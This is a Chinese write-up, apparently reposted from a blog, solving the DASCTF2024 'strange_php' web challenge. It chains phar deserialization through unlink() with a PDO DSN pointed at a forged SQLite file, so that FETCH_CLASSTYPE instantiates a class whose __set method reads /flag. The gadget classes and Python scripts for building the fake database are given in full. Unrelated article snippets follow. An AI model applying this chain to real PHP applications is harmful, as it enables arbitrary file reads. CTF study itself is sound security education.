CTF-web: phar反序列化+数据库伪造 [DASCTF2024最后一战 strange_php]

step 1 如何触发反序列化?

漏洞入口在

welcome.php

case 'delete':  // 获取删除留言的路径,优先使用 POST 请求中的路径,否则使用会话中的路径  $message = $_POST['message_path'] ? $_POST['message_path'] : $_SESSION['message_path'];  $msg = $userMessage->deleteMessage($message); // 删除留言  if ($msg) {  echo "留言已成功删除"; // 输出成功删除信息  } else {  echo "操作失败,请重新尝试"; // 输出失败信息  }  break;

此处message_path可控,进一步跟进

UserMessage.php

public function deleteMessage($path) {  $path = $path . ".txt"; // 添加文件扩展名  if (file_exists($path)) {  $result = unlink($path);  if ($result === false) {  return false;  }  return true;  }  return false;  
}

$path可控,同时unlink可触发phar反序列化

step 2 如何创造一个可控文件?

public function writeMessage($message) {  $result = file_put_contents($this->filePath, $message);  if ($result === false) {  return false;  }  return true;  
}

step 3 如何利用反序列化读取flag?

<?php  class UserMessage {  private $filePath;  ........// 魔术方法 __set,用于设置私有属性并记录日志  public function __set($name, $value) {  $this->$name = $value;  $logContent = file_get_contents($this->filePath) . "</br>";  file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent);  }  .......
?>

魔术方法__set()在设置未定义或不可访问的属性时自动调用。用于控制对属性的设置。

class MyClass {private $data = [];public function __set($name, $value) {$this->data[$name] = $value;}
}$obj = new MyClass();
$obj->name = 'John';
echo $obj->name; // __get() 被调用,输出: John

step 4 如何触发__set()?

题目使用PDO链接数据库

PDO_connect.php

<?php  class PDO_connect {  private $pdo; // 用于保存 PDO 实例  public $con_options = []; // 用于设置 PDO 连接的选项  public $smt; // 用于保存 PDOStatement 实例  public function __construct() {  // 构造函数,初始化对象时调用  }  // 初始化连接选项  public function init() {  $this->con_options = array(  "dsn" => "mysql:host=localhost:3306;dbname=users;charset=utf8", // 数据源名称  'host' => '127.0.0.1', // 数据库主机地址  'port' => '3306', // 数据库端口  'user' => 'joker', // 数据库用户名  'password' => 'joker', // 数据库密码  'charset' => 'utf8', // 字符集  'options' => array(  PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, // 设置默认获取模式为关联数组  PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION // 设置错误处理模式为抛出异常  )  );  }  // 获取数据库连接  public function get_connection() {  $this->conn = null; // 初始化连接为 null        try {  // 创建 PDO 实例  $this->conn = new PDO($this->con_options['dsn'], $this->con_options['user'], $this->con_options['password']);  // 设置错误处理模式  if ($this->con_options['options'][PDO::ATTR_ERRMODE]) {  $this->conn->setAttribute(PDO::ATTR_ERRMODE, $this->con_options['options'][PDO::ATTR_ERRMODE]);  }  // 设置默认获取模式  if (isset($this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE])) {  $this->conn->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, $this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE]);  }  } catch (PDOException $e) {  // 捕获异常并输出错误信息  echo 'Connection Error: ' . $e->getMessage();  }  return $this->conn; // 返回 PDO 连接实例  }  
}  
?>

在PHP的PDO(PHP Data Objects)中,PDO::ATTR_DEFAULT_FETCH_MODE 是一个属性,用于设置默认的获取模式(fetch mode)。这决定了当你从数据库中获取数据时,PDO如何返回结果。

PDO::FETCH_CLASSPDO::FETCH_CLASSTYPE 是两种不同的获取模式:

  1. PDO::FETCH_CLASS:此模式会将每一行结果映射到一个指定的类的实例中。忽略结果集中的字段名称,如果字段名与类中的属性名匹配,则自动赋值。

  2. PDO::FETCH_CLASSTYPE:当与 PDO::FETCH_CLASS 结合使用时,这个模式允许根据结果集中指定的一列动态决定要实例化的类。这意味着你可以根据数据库中的某个字段的值来决定使用哪个类来创建对象。

通过将 PDO::FETCH_CLASSPDO::FETCH_CLASSTYPE 使用按位或运算符 | 结合,可以实现根据数据库中的某个字段动态实例化不同的类。

PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE:这个组合的获取模式意味着 PDO 会根据结果集第一列的值作为要实例化的类名,并将查询结果的其余列映射到类的属性中。

class Admin {public $id;public $username;public $password;public function __construct($id, $username, $password) {$this->id = $id;$this->username = $username;$this->password = $password;}
}class Member {public $id;public $username;public $password;public function __construct($id, $username, $password) {$this->id = $id;$this->username = $username;$this->password = $password;}
}$dsn = 'sqlite:/path/to/your/database/file.db';
$username = 'root';
$password = 'root';
$options = [PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE];$pdo = new PDO($dsn, $username, $password);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE);$query = "SELECT class_name, id, username, password FROM users";
$statement = $pdo->query($query);while ($user = $statement->fetch()) {echo get_class($user) . "\n"; // 打印当前行映射的类名echo $user->id . "\n";echo $user->username . "\n";echo $user->password . "\n";
}

在这个例子中,PDO 会根据 class_name 列的值来决定实例化 AdminMember 类。其他列 (id, username, password) 将被传递给相应类的构造函数。


我们可以伪造一个虚假的数据库文件写入.txt并通过反序列化方式伪造PDO所需要的数组,那么在查询时就会返回我们伪造的结果

从这里可以得知目录路径

public function __set($name, $value) {  $this->$name = $value;  $logContent = file_get_contents($this->filePath) . "</br>";  file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent);  
}

可以写出

class PDO_connect{  private $pdo;  public $con_options = []; public $smt;  public function __construct(){  $this->con_options =  [   "dsn"=>'sqlite:/var/www/html/xxx.txt',  "username"=>"root",  "password"=>"root",  "options"=>[  PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE  ]  ];  }  
}

step 5 如何触发PDO_connect?

利用User.__destruct

User.php

public function __destruct() {  if ($this->username) {  $results = $this->log();  $log_mess = serialize($results);  // 记录日志到文件  file_put_contents("log/" . md5($this->username) . ".txt", $log_mess . "\n", FILE_APPEND);  }  
}

->log即可触发查询,当查询键为UserMessage会返回伪造的值

public function log() {  try {  $sql = "SELECT * FROM users WHERE username = :username";  $pdo = $this->conn->get_connection();  $stmt = $pdo->prepare($sql);  $stmt->bindParam(':username', $this->username);  $stmt->execute();  $result = $stmt->fetch();  return $result;  } catch (PDOException $e) {  echo $e->getMessage();  }  
}

所以写出

class PDO_connect{  private $pdo;  public $con_options = [];public $smt;  public function __construct(){  $this->con_options = [  "dsn"=>'sqlite:./fake_db.sqlite',  "username"=>"root",  "password"=>"root",  "options"=>[  PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE  ]  ];  }  
}  
class User{  private $conn;  private $table = 'users';  public $id;  public $username;  public $password;  public function __construct(){  $this->conn = new PDO_connect();  $this->username = "UserMessage";  }  
}

尝试

import sqlite3  conn = sqlite3.connect('fake_db.sqlite')  
cursor = conn.cursor()  
cursor.execute('''
CREATE TABLE IF NOT EXISTS users (username TEXT NOT NULL,filePath TEXT NOT NULL,set_name TEXT NOT NULL,id INTEGER PRIMARY KEY AUTOINCREMENT)
''')  
users = [  ('UserMessage', 'filePath_value', 'set_value'),  
]  
cursor.executemany(''' INSERT INTO users (username, filePath, set_name) VALUES (?,?,?)  ''', users)  conn.commit()  cursor.execute('SELECT * FROM users')  conn.close()

请添加图片描述

import sqlite3  conn = sqlite3.connect('fake.db')  
cursor = conn.cursor()  
cursor.execute('''  
CREATE TABLE IF NOT EXISTS users (  username TEXT NOT NULL,filePath TEXT NOT NULL,password TEXT NOT NULL,id INTEGER PRIMARY KEY AUTOINCREMENT)  
''')  
users = [  ('UserMessage', '/flag', '/flag'),  
]  
cursor.executemany('''  
INSERT INTO users (username, password,filePath) VALUES (?,?,?)  
''', users)  conn.commit()  cursor.execute('SELECT * FROM users')  conn.close()

即可控制变量值触发/flag读取

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/68554.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C语言自定义数据类型详解(一)——结构体类型(上)

什么是自定义数据类型呢&#xff1f;顾名思义&#xff0c;就是我们用户自己定义和设置的类型。 在C语言中&#xff0c;我们的自定义数据类型一共有三种&#xff0c;它们分别是&#xff1a;结构体(struct)&#xff0c;枚举(enum)&#xff0c;联合(union)。接下来&#xff0c;我…

SpringCloud系列教程:微服务的未来(十八)雪崩问题、服务保护方案、Sentinel快速入门

前言 在分布式系统中&#xff0c;雪崩效应&#xff08;Avalanche Effect&#xff09;是一种常见的故障现象&#xff0c;通常发生在系统中某个组件出现故障时&#xff0c;导致其他组件级联失败&#xff0c;最终引发整个系统的崩溃。为了有效应对雪崩效应&#xff0c;服务保护方…

升级到Mac15.1后pod install报错

升级Mac后&#xff0c;Flutter项目里的ios项目运行 pod install报错&#xff0c; 遇到这种问题&#xff0c;不要着急去百度&#xff0c;大概看一下报错信息&#xff0c;每个人遇到的问题都不一样。 别人的解决方法并不一定适合你&#xff1b; 下面是报错信息&#xff1a; #…

STM32 PWM驱动舵机

接线图&#xff1a; 这里将信号线连接到了开发板的PA1上 代码配置&#xff1a; 这里的PWM配置与呼吸灯一样&#xff0c;呼吸灯连接的是PA0引脚&#xff0c;输出比较单元用的是OC1通道&#xff0c;这里只需改为OC2通道即可。 完整代码&#xff1a; #include "servo.h&quo…

使用 concurrently 实现前后端一键启动

使用 concurrently 实现前后端一键启动 本文适合&#xff1a; 前后端分离项目&#xff08;如 React Node.js&#xff09;&#xff0c;希望通过一条命令同时启动前端和后端服务。 工具链&#xff1a; Node.js、npm、concurrently。 耗时&#xff1a; 3 分钟。 文章目录 使用 c…

【NLP251】NLP RNN 系列网络

NLP251 系列主要记录从NLP基础网络结构到知识图谱的学习 &#xff11;.原理及网络结构 &#xff11;.&#xff11;&#xff32;&#xff2e;&#xff2e; 在Yoshua Bengio论文中( http://proceedings.mlr.press/v28/pascanu13.pdf )证明了梯度求导的一部分环节是一个指数模型…

OpenCV:在图像中添加噪声(瑞利、伽马、脉冲、泊松)

目录 简述 1. 瑞利噪声 2. 伽马噪声 3. 脉冲噪声 4. 泊松噪声 总结 相关阅读 OpenCV&#xff1a;在图像中添加高斯噪声、胡椒噪声-CSDN博客 OpenCV&#xff1a;高通滤波之索贝尔、沙尔和拉普拉斯-CSDN博客 OpenCV&#xff1a;图像处理中的低通滤波-CSDN博客 OpenCV&…

小智 AI 聊天机器人

小智 AI 聊天机器人 &#xff08;XiaoZhi AI Chatbot&#xff09; &#x1f449;参考源项目复现 &#x1f449; ESP32SenseVoiceQwen72B打造你的AI聊天伴侣&#xff01;【bilibili】 &#x1f449; 手工打造你的 AI 女友&#xff0c;新手入门教程【bilibili】 项目目的 本…

亚博microros小车-原生ubuntu支持系列:16 机器人状态估计

本来想测试下gmapping建图&#xff0c;但是底层依赖了yahboomcar_bringup做底层的数据处理&#xff0c;所以先把依赖的工程导入。 程序启动后&#xff0c;会订阅imu和odom数据&#xff0c;过滤掉一部分的imu数据后&#xff0c;然后与odom数据进行融合&#xff0c;最后输出一个…

C++中的类与对象(中)

在上一节中&#xff0c;我们初步了解了一下&#xff0c;C中的类&#xff0c;这一概念&#xff0c;这一节让我们进一步深入了解一下。 文章目录 目录 前言 一、类中的默认成员函数 1.1 构造函数 构造函数的特点&#xff1a; 1.2 析构函数 析构函数的特点&#xff1a; 1.3 …

Kotlin开发(六):Kotlin 数据类,密封类与枚举类

引言 想象一下&#xff0c;你是个 Kotlin 开发者&#xff0c;敲着代码忽然发现业务代码中需要一堆冗长的 POJO 类来传递数据。烦得很&#xff1f;别急&#xff0c;Kotlin 贴心的 数据类 能帮你自动生成 equals、hashCode&#xff0c;直接省时省力&#xff01;再想想需要多种状…

redis数据安全与性能保障

数据安全与性能保障 1、持久化1.1 快照持久化1.2 AOF持久化1.3 重写/压缩AOF文件 2、复制2.1 Redis复制的启动过程2.2 主从链 3、处理系统故障3.1 验证快照文件和AOF文件 4、事务4.1 java中的redis事务使用 如有侵权&#xff0c;请联系&#xff5e; 如有错误&#xff0c;也欢迎…

数据分析系列--③RapidMiner算子说明及数据预处理

一、算子说明 1.新建过程 2.算子状态灯 状态灯说明: (1)状态指示灯&#xff1a; 红色:指示灯说明有参数未被设置或输入端口未被连接等问题; 黄色:指示灯说明还未执行算子&#xff0c;不管配置是否基本齐全; 绿色:指示灯说明一切正常&#xff0c;已成功执行算子。 (2)三角…

基于Go语言的三甲医院人机与智能体协同环境系统(上.文章部分)

一、引言 1.1 研究背景与意义 1.1.1 三甲医院对高效协同系统的需求 三甲医院作为医疗体系的核心力量,承担着疑难病症诊治、医学科研教学等重要任务,其业务具有高度的复杂性。在日常运营中,三甲医院涉及多个科室,每个科室又包含众多专业领域,各科室之间需要紧密协作,共…

js笔记(黑马程序员)

&#xff08;Web APIs day4&#xff09; 一、日期对象 1.实例化 在代码中发现了 new 关键字时&#xff0c;一般将这个操作称为实例化 创建一个时间对象并获取时间// 1&#xff0e;得到当前时间 2.日期对象方法 因为日期对象返回的数据我们不能直接使用&#xff0c;所以需…

SOME/IP--协议英文原文讲解2

前言 SOME/IP协议越来越多的用于汽车电子行业中&#xff0c;关于协议详细完全的中文资料却没有&#xff0c;所以我将结合工作经验并对照英文原版协议做一系列的文章。基本分三大块&#xff1a; 1. SOME/IP协议讲解 2. SOME/IP-SD协议讲解 3. python/C举例调试讲解 4.1 Speci…

python-leetcode-反转链表 II

92. 反转链表 II - 力扣&#xff08;LeetCode&#xff09; # Definition for singly-linked list. # class ListNode: # def __init__(self, val0, nextNone): # self.val val # self.next next class Solution:def reverseBetween(self, head: Optional…

LM Studio 本地部署DeepSeek及其他AI模型的详细操作教程及硬件要求

本篇文章主要讲解&#xff0c;通过LM Studio工具实现各类型AI模型本地部署的操作方法方式。 作者&#xff1a;任聪聪 日期&#xff1a;2025年1月29日 LM Studio 介绍&#xff1a; LM Studio是一款能够本地离线运行各类型大语言模型的客户端应用&#xff0c;通过LM Studio 可以…

SOME/IP--协议英文原文讲解3

前言 SOME/IP协议越来越多的用于汽车电子行业中&#xff0c;关于协议详细完全的中文资料却没有&#xff0c;所以我将结合工作经验并对照英文原版协议做一系列的文章。基本分三大块&#xff1a; 1. SOME/IP协议讲解 2. SOME/IP-SD协议讲解 3. python/C举例调试讲解 Note: Thi…

Janus Pro:DeepSeek 开源革新,多模态 AI 的未来

Janus Pro 是 DeepSeek 开发的一个开源多模态人工智能框架&#xff0c;它通过集成视觉和语言处理能力&#xff0c;提供了高性能的多模态任务处理能力。 在线体验&#xff1a; https://deepseek-januspro.com/ 背景 Janus Pro 于2025年1月发布&#xff0c;是一个开源的多模态…